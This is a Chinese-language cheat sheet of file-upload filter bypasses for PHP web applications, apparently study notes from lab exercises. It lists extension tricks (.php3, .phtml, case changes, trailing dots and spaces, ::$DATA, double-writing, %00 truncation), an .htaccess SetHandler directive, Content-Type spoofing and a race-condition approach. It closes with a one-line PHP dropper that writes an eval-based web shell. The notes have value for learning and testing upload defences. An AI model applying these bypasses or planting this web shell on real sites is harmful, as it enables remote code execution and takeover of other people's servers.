文件上传绕过姿势总结
文件上传绕过姿势总结
-
客户端(前端js验证):
抓包,修改后缀,重放绕过。
-
mime(扩展类型限制):
白名单类型限制,可以像第一种一样抓正确的包、修改后缀、重放绕过。也可以直接修改content-type类型
-
黑名单过滤:
-
.php、php3、phtml在apche中以php格式解析
-
.htaccess后缀,.htaccess是apche配置文件,上传.htaccess语句,让任何文件都被php解析
SetHandler application/x-httpd-php
-
大小写绕过
-
尾部空格(Windows系统特性,自动去除尾部小数点和空格)
将文件改为1.php .(空格加点),传进去后会删除空格和.保留1.php文件名。(因为bp不能末尾加空格无用,所以换成空格加.)
-
尾部小数点
同理:没有对后缀名进行去"."处理,在bp中改为1.php. ,传成功后就会自动删除“.”
-
两次去空格和小数点:
代码中有过滤空格和小数点,但是是一次性的,所以我们写两次空格加小数点,代码过滤一次,传进去后,系统自动去除一次
-
"::$DATA"绕过:
没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过:
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。
-
见到替换空字符,就想到双写绕过:
例:.pphphp后缀
-
%00隔断():
%00来隔断后面的随机字符
-
时间差,竞争关系:
上传木马文件会在缓存中停留几毫秒然后才被删除掉,可以利用这个时间差执行操作。
-
构建访问包不断访问
-
构建上传包,不断发送木马(这个木马主要内容为在抓住时间差,在当前路径生成新的木马文件)
<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>’);?>
-
爆破,先不断访问的同时不断发包,抓住时间差,生成新木马文件。
-